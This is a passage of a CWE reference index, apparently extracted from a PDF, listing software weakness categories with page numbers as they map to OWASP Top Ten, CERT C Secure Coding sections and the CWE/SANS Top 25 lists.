- C** CWE-388: Error Handling (p. 669)
  - B** CWE-391: Unchecked Error Condition (p. 675)
  - B** CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 680)
  - B** CWE-396: Declaration of Catch for Generic Exception (p. 682)
  - B** CWE-397: Declaration of Throws for Generic Exception (p. 683)
- C** CWE-20: Improper Input Validation (p. 18)
  - V** CWE-102: Struts: Duplicate Validation Forms (p. 193)
  - V** CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
  - V** CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
  - V** CWE-105: Struts: Form Field Without Validator (p. 198)
  - V** CWE-106: Struts: Plug-in Framework not in Use (p. 200)
  - V** CWE-107: Struts: Unused Validation Form (p. 202)
  - V** CWE-108: Struts: Unvalidated Action Form (p. 204)
  - V** CWE-109: Struts: Validator Turned Off (p. 205)
  - V** CWE-110: Struts: Validator Without Form Field (p. 206)
  - B** CWE-111: Direct Use of Unsafe JNI (p. 208)
  - B** CWE-112: Missing XML Validation (p. 210)
  - B** CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
  - B** CWE-114: Process Control (p. 215)

- B CWE-117: Improper Output Neutralization for Logs (p. 223)
- C CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
- B CWE-134: Uncontrolled Format String (p. 277)
- B CWE-15: External Control of System or Configuration Setting (p. 14)
- B CWE-170: Improper Null Termination (p. 328)
- B CWE-190: Integer Overflow or Wraparound (p. 361)
- B CWE-466: Return of Pointer Value Outside of Expected Range (p. 783)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 789)
- C CWE-73: External Control of File Name or Path (p. 109)
- C CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
- V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1204)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
- B CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
- C CWE-227: Improper Fulfillment of API Contract ('API Abuse') (p. 418)
- C CWE-251: Often Misused: String Management (p. 445)
- B CWE-242: Use of Inherently Dangerous Function (p. 431)
- V CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 433)
- V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 434)
- V CWE-245: J2EE Bad Practices: Direct Management of Connections (p. 435)
- V CWE-246: J2EE Bad Practices: Direct Use of Sockets (p. 437)
- B CWE-248: Uncaught Exception (p. 438)
- C CWE-250: Execution with Unnecessary Privileges (p. 440)
- B CWE-252: Unchecked Return Value (p. 446)
- V CWE-558: Use of getlogin() in Multithreaded Application (p. 893)
- C CWE-398: Indicator of Poor Code Quality (p. 684)
- B CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 694)
- B CWE-404: Improper Resource Shutdown or Release (p. 699)
- V CWE-415: Double Free (p. 716)
- B CWE-416: Use After Free (p. 719)
- V CWE-457: Use of Uninitialized Variable (p. 773)
- B CWE-474: Use of Function with Inconsistent Implementations (p. 797)
- B CWE-475: Undefined Behavior for Input to API (p. 797)
- B CWE-476: NULL Pointer Dereference (p. 798)
- B CWE-477: Use of Obsolete Functions (p. 802)
- C CWE-485: Insufficient Encapsulation (p. 819)
- C CWE-490: Mobile Code Issues (p. 826)
- V CWE-486: Comparison of Classes by Name (p. 820)
- V CWE-488: Exposure of Data Element to Wrong Session (p. 823)
- B CWE-489: Leftover Debug Code (p. 824)
- V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p. 826)
- V CWE-492: Use of Inner Class Containing Sensitive Data (p. 827)
- V CWE-493: Critical Public Variable Without Final Modifier (p. 833)
- V CWE-495: Private Array-Typed Field Returned From A Public Method (p. 838)
- V CWE-496: Public Data Assigned to Private Array-Typed Field (p. 839)
- V CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 840)
- B CWE-501: Trust Boundary Violation (p. 846)



## Graph View: CWE-709: Named Chains

- ↔ CWE-680: Integer Overflow to Buffer Overflow (*p. 1057*)
  - ⓑ CWE-190: Integer Overflow or Wraparound (*p. 361*)
    - ↳ ⓐ CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (*p. 226*)
- ↔ CWE-690: Unchecked Return Value to NULL Pointer Dereference (*p. 1071*)
  - ⓑ CWE-252: Unchecked Return Value (*p. 446*)
    - ↳ ⓑ CWE-476: NULL Pointer Dereference (*p. 798*)
- ↔ CWE-692: Incomplete Blacklist to Cross-Site Scripting (*p. 1073*)
  - ⓑ CWE-184: Incomplete Blacklist (*p. 352*)
    - ↳ ⓑ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (*p. 131*)

## Graph View: CWE-711: Weaknesses in OWASP Top Ten (2004)

- C** CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input (p. 1116)
  - V** CWE-102: Struts: Duplicate Validation Forms (p. 193)
  - V** CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
  - V** CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
  - V** CWE-106: Struts: Plug-in Framework not in Use (p. 200)
  - V** CWE-109: Struts: Validator Turned Off (p. 205)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - B** CWE-166: Improper Handling of Missing Special Element (p. 324)
  - B** CWE-167: Improper Handling of Additional Special Element (p. 325)
  - B** CWE-179: Incorrect Behavior Order: Early Validation (p. 345)
  - B** CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
  - B** CWE-181: Incorrect Behavior Order: Validate Before Filter (p. 349)
  - B** CWE-182: Collapse of Data into Unsafe Value (p. 350)
  - B** CWE-183: Permissive Whitelist (p. 352)
  - C** CWE-20: Improper Input Validation (p. 18)
  - B** CWE-425: Direct Request ('Forced Browsing') (p. 727)
  - B** CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
  - V** CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)
  - B** CWE-602: Client-Side Enforcement of Server-Side Security (p. 947)
  - C** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
- C** CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control (p. 1116)
  - C** CWE-275: Permission Issues (p. 488)
  - C** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - B** CWE-266: Incorrect Privilege Assignment (p. 471)
  - B** CWE-268: Privilege Chaining (p. 475)
  - B** CWE-283: Unverified Ownership (p. 498)
  - C** CWE-284: Improper Access Control (p. 499)
  - C** CWE-285: Improper Authorization (p. 501)
  - C** CWE-330: Use of Insufficiently Random Values (p. 581)
  - B** CWE-41: Improper Resolution of Path Equivalence (p. 73)
  - B** CWE-425: Direct Request ('Forced Browsing') (p. 727)
  - V** CWE-525: Information Exposure Through Browser Caching (p. 867)
  - B** CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 889)
  - V** CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 892)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
  - B** CWE-708: Incorrect Ownership Assignment (p. 1108)
  - C** CWE-73: External Control of File Name or Path (p. 109)
  - V** CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
- C** CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management (p. 1117)
  - C** CWE-255: Credentials Management (p. 453)
  - B** CWE-259: Use of Hard-coded Password (p. 459)
  - C** CWE-287: Improper Authentication (p. 507)
  - B** CWE-296: Improper Following of a Certificate's Chain of Trust (p. 523)
  - V** CWE-298: Improper Validation of Certificate Expiration (p. 527)
  - V** CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 533)
  - B** CWE-304: Missing Critical Step in Authentication (p. 535)

- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
- B CWE-309: Use of Password System for Primary Authentication (p. 545)
- C CWE-345: Insufficient Verification of Data Authenticity (p. 600)
- B CWE-521: Weak Password Requirements (p. 861)
- B CWE-522: Insufficiently Protected Credentials (p. 862)
- V CWE-525: Information Exposure Through Browser Caching (p. 867)
- C CWE-592: Authentication Bypass Issues (p. 933)
- B CWE-613: Insufficient Session Expiration (p. 960)
- V CWE-620: Unverified Password Change (p. 967)
- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 989)
- B CWE-798: Use of Hard-coded Credentials (p. 1219)
- A CWE-384: Session Fixation (p. 663)
  - B CWE-346: Origin Validation Error (p. 602)
  - C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- C CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws (p. 1118)
  - V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 999)
  - B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- C CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows (p. 1118)
  - C CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - B CWE-134: Uncontrolled Format String (p. 277)
- C CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws (p. 1118)
  - B CWE-117: Improper Output Neutralization for Logs (p. 223)
  - C CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 113)
  - C CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - B CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
  - B CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
  - B CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- C CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling (p. 1119)
  - C CWE-388: Error Handling (p. 669)
  - C CWE-203: Information Exposure Through Discrepancy (p. 389)
  - B CWE-209: Information Exposure Through an Error Message (p. 397)
  - C CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
  - B CWE-252: Unchecked Return Value (p. 446)
  - C CWE-390: Detection of Error Condition Without Action (p. 671)
  - B CWE-391: Unchecked Error Condition (p. 675)
  - B CWE-394: Unexpected Status Code or Return Value (p. 679)
  - C CWE-636: Not Failing Securely ('Failing Open') (p. 983)
  - V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
- C CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage (p. 1119)
  - B CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
  - B CWE-226: Sensitive Information Uncleared Before Release (p. 417)
  - V CWE-261: Weak Cryptography for Passwords (p. 464)
  - B CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B CWE-321: Use of Hard-coded Cryptographic Key (p. 565)
  - C CWE-326: Inadequate Encryption Strength (p. 571)

- B CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
- V CWE-539: Information Exposure Through Persistent Cookies (p. 878)
- V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
- V CWE-598: Information Exposure Through Query Strings in GET Request (p. 939)
- C CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service (p. 1120)
  - B CWE-170: Improper Null Termination (p. 328)
  - B CWE-248: Uncaught Exception (p. 438)
  - B CWE-369: Divide By Zero (p. 647)
  - V CWE-382: J2EE Bad Practices: Use of System.exit() (p. 661)
  - B CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 688)
  - B CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 694)
  - B CWE-404: Improper Resource Shutdown or Release (p. 699)
  - G CWE-405: Asymmetric Resource Consumption (Amplification) (p. 703)
  - B CWE-410: Insufficient Resource Pool (p. 709)
  - B CWE-412: Unrestricted Externally Accessible Lock (p. 711)
  - B CWE-476: NULL Pointer Dereference (p. 798)
  - B CWE-674: Uncontrolled Recursion (p. 1042)
- C CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management (p. 1120)
  - C CWE-10: ASP.NET Environment Issues (p. 8)
  - C CWE-275: Permission Issues (p. 488)
  - C CWE-4: J2EE Environment Issues (p. 2)
  - B CWE-209: Information Exposure Through an Error Message (p. 397)
  - V CWE-215: Information Exposure Through Debug Information (p. 409)
  - V CWE-219: Sensitive Data Under Web Root (p. 412)
  - B CWE-295: Improper Certificate Validation (p. 521)
  - B CWE-459: Incomplete Cleanup (p. 775)
  - B CWE-489: Leftover Debug Code (p. 824)
  - V CWE-526: Information Exposure Through Environmental Variables (p. 868)
  - V CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 868)
  - V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
  - V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 870)
  - V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 870)
  - V CWE-531: Information Exposure Through Test Code (p. 871)
  - V CWE-532: Information Exposure Through Log Files (p. 872)
  - V CWE-533: Information Exposure Through Server Log Files (p. 873)
  - V CWE-534: Information Exposure Through Debug Log Files (p. 874)
  - V CWE-540: Information Exposure Through Source Code (p. 879)
  - V CWE-541: Information Exposure Through Include Source Code (p. 880)
  - V CWE-542: Information Exposure Through Cleanup Log Files (p. 881)
  - V CWE-548: Information Exposure Through Directory Listing (p. 887)
  - B CWE-552: Files or Directories Accessible to External Parties (p. 889)

## Graph View: CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard

- C** CWE-735: CERT C Secure Coding Section 01 - Preprocessor (PRE) (p. 1131)
  - B** CWE-684: Incorrect Provision of Specified Functionality (p. 1065)
- C** CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL) (p. 1131)
  - V** CWE-547: Use of Hard-coded, Security-relevant Constants (p. 885)
  - B** CWE-628: Function Call with Incorrectly Specified Arguments (p. 977)
  - V** CWE-686: Function Call With Incorrect Argument Type (p. 1066)
- C** CWE-737: CERT C Secure Coding Section 03 - Expressions (EXP) (p. 1131)
  - V** CWE-467: Use of sizeof() on a Pointer Type (p. 784)
  - B** CWE-468: Incorrect Pointer Scaling (p. 786)
  - B** CWE-476: NULL Pointer Dereference (p. 798)
  - B** CWE-628: Function Call with Incorrectly Specified Arguments (p. 977)
  - G** CWE-704: Incorrect Type Conversion or Cast (p. 1104)
  - V** CWE-783: Operator Precedence Logic Error (p. 1200)
- C** CWE-738: CERT C Secure Coding Section 04 - Integers (INT) (p. 1132)
  - C** CWE-192: Integer Coercion Error (p. 368)
  - B** CWE-129: Improper Validation of Array Index (p. 258)
  - B** CWE-190: Integer Overflow or Wraparound (p. 361)
  - B** CWE-197: Numeric Truncation Error (p. 381)
  - G** CWE-20: Improper Input Validation (p. 18)
  - B** CWE-369: Divide By Zero (p. 647)
  - B** CWE-466: Return of Pointer Value Outside of Expected Range (p. 783)
  - B** CWE-587: Assignment of a Fixed Address to a Pointer (p. 927)
  - B** CWE-606: Unchecked Input for Loop Condition (p. 953)
  - B** CWE-676: Use of Potentially Dangerous Function (p. 1044)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
  - G** CWE-682: Incorrect Calculation (p. 1060)
- C** CWE-739: CERT C Secure Coding Section 05 - Floating Point (FLP) (p. 1132)
  - B** CWE-369: Divide By Zero (p. 647)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
  - G** CWE-682: Incorrect Calculation (p. 1060)
  - V** CWE-686: Function Call With Incorrect Argument Type (p. 1066)
- C** CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR) (p. 1133)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B** CWE-129: Improper Validation of Array Index (p. 258)
  - V** CWE-467: Use of sizeof() on a Pointer Type (p. 784)
  - B** CWE-469: Use of Pointer Subtraction to Determine Size (p. 788)
  - B** CWE-665: Improper Initialization (p. 1027)
  - B** CWE-805: Buffer Access with Incorrect Length Value (p. 1230)
- C** CWE-741: CERT C Secure Coding Section 07 - Characters and Strings (STR) (p. 1133)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - B** CWE-135: Incorrect Calculation of Multi-Byte String Length (p. 282)
  - B** CWE-170: Improper Null Termination (p. 328)
  - B** CWE-193: Off-by-one Error (p. 371)
  - B** CWE-464: Addition of Data Structure Sentinel (p. 781)
  - V** CWE-686: Function Call With Incorrect Argument Type (p. 1066)
  - G** CWE-704: Incorrect Type Conversion or Cast (p. 1104)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B** CWE-88: Argument Injection or Modification (p. 155)
- C** CWE-742: CERT C Secure Coding Section 08 - Memory Management (MEM) (p. 1134)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)



- B CWE-128: Wrap-around Error (p. 257)
- B CWE-131: Incorrect Calculation of Buffer Size (p. 269)
- B CWE-190: Integer Overflow or Wraparound (p. 361)
- C CWE-20: Improper Input Validation (p. 18)
- B CWE-226: Sensitive Information Uncleared Before Release (p. 417)
- V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 434)
- B CWE-252: Unchecked Return Value (p. 446)
- V CWE-415: Double Free (p. 716)
- B CWE-416: Use After Free (p. 719)
- B CWE-476: NULL Pointer Dereference (p. 798)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
- V CWE-590: Free of Memory not on the Heap (p. 930)
- V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
- B CWE-628: Function Call with Incorrectly Specified Arguments (p. 977)
- B CWE-665: Improper Initialization (p. 1027)
- V CWE-687: Function Call With Incorrectly Specified Argument Value (p. 1067)
- C CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)
- C CWE-743: CERT C Secure Coding Section 09 - Input Output (FIO) (p. 1135)
- C CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- B CWE-134: Uncontrolled Format String (p. 277)
- C CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
- B CWE-241: Improper Handling of Unexpected Data Type (p. 430)
- V CWE-276: Incorrect Default Permissions (p. 490)
- V CWE-279: Incorrect Execution-Assigned Permissions (p. 494)
- C CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
- B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 642)
- V CWE-37: Path Traversal: 'absolute/pathname/here' (p. 67)
- B CWE-379: Creation of Temporary File in Directory with Incorrect Permissions (p. 659)
- V CWE-38: Path Traversal: 'absolute\pathname\here' (p. 68)
- V CWE-39: Path Traversal: 'C:dirname' (p. 70)
- B CWE-391: Unchecked Error Condition (p. 675)
- B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 697)
- B CWE-404: Improper Resource Shutdown or Release (p. 699)
- B CWE-41: Improper Resolution of Path Equivalence (p. 73)
- B CWE-552: Files or Directories Accessible to External Parties (p. 889)
- B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
- V CWE-62: UNIX Hard Link (p. 96)
- V CWE-64: Windows Shortcut Following (.LNK) (p. 98)
- V CWE-65: Windows Hard Link (p. 100)
- V CWE-67: Improper Handling of Windows Device Names (p. 103)
- C CWE-675: Duplicate Operations on Resource (p. 1043)
- B CWE-676: Use of Potentially Dangerous Function (p. 1044)
- V CWE-686: Function Call With Incorrect Argument Type (p. 1066)
- C CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- C CWE-744: CERT C Secure Coding Section 10 - Environment (ENV) (p. 1135)
- C CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- B CWE-462: Duplicate Key in Associative List (Alist) (p. 779)
- C CWE-705: Incorrect Control Flow Scoping (p. 1105)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- B CWE-88: Argument Injection or Modification (p. 155)
- B CWE-426: Untrusted Search Path (p. 729)
- C CWE-275: Permission Issues (p. 488)

- G CWE-216: Containment Errors (Container Errors) (p. 410)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
- C CWE-745: CERT C Secure Coding Section 11 - Signals (SIG) (p. 1136)
  - V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
  - B CWE-662: Improper Synchronization (p. 1024)
- C CWE-746: CERT C Secure Coding Section 12 - Error Handling (ERR) (p. 1136)
  - G CWE-20: Improper Input Validation (p. 18)
  - B CWE-391: Unchecked Error Condition (p. 675)
  - B CWE-544: Missing Standardized Error Handling Mechanism (p. 883)
  - B CWE-676: Use of Potentially Dangerous Function (p. 1044)
  - G CWE-705: Incorrect Control Flow Scoping (p. 1105)
- C CWE-747: CERT C Secure Coding Section 49 - Miscellaneous (MSC) (p. 1137)
  - B CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
  - V CWE-176: Improper Handling of Unicode Encoding (p. 339)
  - G CWE-20: Improper Input Validation (p. 18)
  - G CWE-330: Use of Insufficiently Random Values (p. 581)
  - B CWE-480: Use of Incorrect Operator (p. 809)
  - V CWE-482: Comparing instead of Assigning (p. 814)
  - V CWE-561: Dead Code (p. 895)
  - V CWE-563: Assignment to Variable without Use ('Unused Variable') (p. 899)
  - V CWE-570: Expression is Always False (p. 906)
  - V CWE-571: Expression is Always True (p. 908)
  - G CWE-697: Insufficient Comparison (p. 1078)
  - G CWE-704: Incorrect Type Conversion or Cast (p. 1104)
- C CWE-748: CERT C Secure Coding Section 50 - POSIX (POS) (p. 1137)
  - B CWE-170: Improper Null Termination (p. 328)
  - B CWE-242: Use of Inherently Dangerous Function (p. 431)
  - B CWE-272: Least Privilege Violation (p. 482)
  - B CWE-273: Improper Check for Dropped Privileges (p. 485)
  - B CWE-363: Race Condition Enabling Link Following (p. 633)
  - B CWE-365: Race Condition in Switch (p. 639)
  - B CWE-366: Race Condition within a Thread (p. 640)
  - B CWE-562: Return of Stack Variable Address (p. 898)
  - B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
  - B CWE-667: Improper Locking (p. 1032)
  - V CWE-686: Function Call With Incorrect Argument Type (p. 1066)
  - G CWE-696: Incorrect Behavior Order (p. 1077)








## Graph View: CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

- C** CWE-751: 2009 Top 25 - Insecure Interaction Between Components (p. 1142)
  - C** CWE-116: Improper Encoding or Escaping of Output (p. 217)
  - C** CWE-20: Improper Input Validation (p. 18)
  - B** CWE-209: Information Exposure Through an Error Message (p. 397)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
  - C** CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - A** CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
    - B** CWE-346: Origin Validation Error (p. 602)
    - C** CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    - B** CWE-613: Insufficient Session Expiration (p. 960)
    - C** CWE-642: External Control of Critical State Data (p. 993)
- C** CWE-752: 2009 Top 25 - Risky Resource Management (p. 1143)
  - C** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B** CWE-404: Improper Resource Shutdown or Release (p. 699)
  - B** CWE-494: Download of Code Without Integrity Check (p. 835)
  - C** CWE-642: External Control of Critical State Data (p. 993)
  - B** CWE-665: Improper Initialization (p. 1027)
  - C** CWE-682: Incorrect Calculation (p. 1060)
  - C** CWE-73: External Control of File Name or Path (p. 109)
  - C** CWE-94: Improper Control of Generation of Code ('Code Injection') (p. 173)
  - A** CWE-426: Untrusted Search Path (p. 729)
    - C** CWE-275: Permission Issues (p. 488)
    - C** CWE-216: Containment Errors (Container Errors) (p. 410)
    - B** CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
- C** CWE-753: 2009 Top 25 - Porous Defenses (p. 1143)
  - C** CWE-250: Execution with Unnecessary Privileges (p. 440)
  - B** CWE-259: Use of Hard-coded Password (p. 459)
  - C** CWE-285: Improper Authorization (p. 501)
  - B** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
  - C** CWE-330: Use of Insufficiently Random Values (p. 581)
  - B** CWE-602: Client-Side Enforcement of Server-Side Security (p. 947)
  - C** CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
  - B** CWE-798: Use of Hard-coded Credentials (p. 1219)

## Graph View: CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors

- C CWE-801: 2010 Top 25 - Insecure Interaction Between Components (p. 1228)
  - B CWE-209: Information Exposure Through an Error Message (p. 397)
  - C CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  - B CWE-434: Unrestricted Upload of File with Dangerous Type (p. 742)
  - V CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - B CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
    - B CWE-346: Origin Validation Error (p. 602)
    - C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    - B CWE-613: Insufficient Session Expiration (p. 960)
    - C CWE-642: External Control of Critical State Data (p. 993)
- C CWE-802: 2010 Top 25 - Risky Resource Management (p. 1228)
  - B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - B CWE-129: Improper Validation of Array Index (p. 258)
  - B CWE-131: Incorrect Calculation of Buffer Size (p. 269)
  - B CWE-190: Integer Overflow or Wraparound (p. 361)
  - C CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - B CWE-494: Download of Code Without Integrity Check (p. 835)
  - C CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1143)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p. 1175)
  - B CWE-805: Buffer Access with Incorrect Length Value (p. 1230)
  - B CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- C CWE-803: 2010 Top 25 - Porous Defenses (p. 1229)
  - C CWE-285: Improper Authorization (p. 501)
  - V CWE-306: Missing Authentication for Critical Function (p. 537)
  - B CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
  - C CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
  - B CWE-798: Use of Hard-coded Credentials (p. 1219)
  - B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1239)
- C CWE-808: 2010 Top 25 - Weaknesses On the Cusp (p. 1244)
  - B CWE-134: Uncontrolled Format String (p. 277)
  - B CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
  - B CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
  - C CWE-330: Use of Insufficiently Random Values (p. 581)
  - B CWE-416: Use After Free (p. 719)
  - B CWE-454: External Initialization of Trusted Variables or Data Stores (p. 767)
  - B CWE-456: Missing Initialization of a Variable (p. 770)
  - B CWE-476: NULL Pointer Dereference (p. 798)
  - B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
  - B CWE-672: Operation on a Resource after Expiration or Release (p. 1039)
  - B CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
  - B CWE-749: Exposed Dangerous Method or Function (p. 1138)
  - B CWE-772: Missing Release of Resource after Effective Lifetime (p. 1183)
  - C CWE-799: Improper Control of Interaction Frequency (p. 1225)

-  CWE-804: Guessable CAPTCHA (p. 1229)
-  CWE-426: Untrusted Search Path (p. 729)
-  CWE-275: Permission Issues (p. 488)
-  CWE-216: Containment Errors (Container Errors) (p. 410)
-  CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)

## Graph View: CWE-809: Weaknesses in OWASP Top Ten (2010)

- C** CWE-810: OWASP Top Ten 2010 Category A1 - Injection (p. 1245)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B** CWE-88: Argument Injection or Modification (p. 155)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
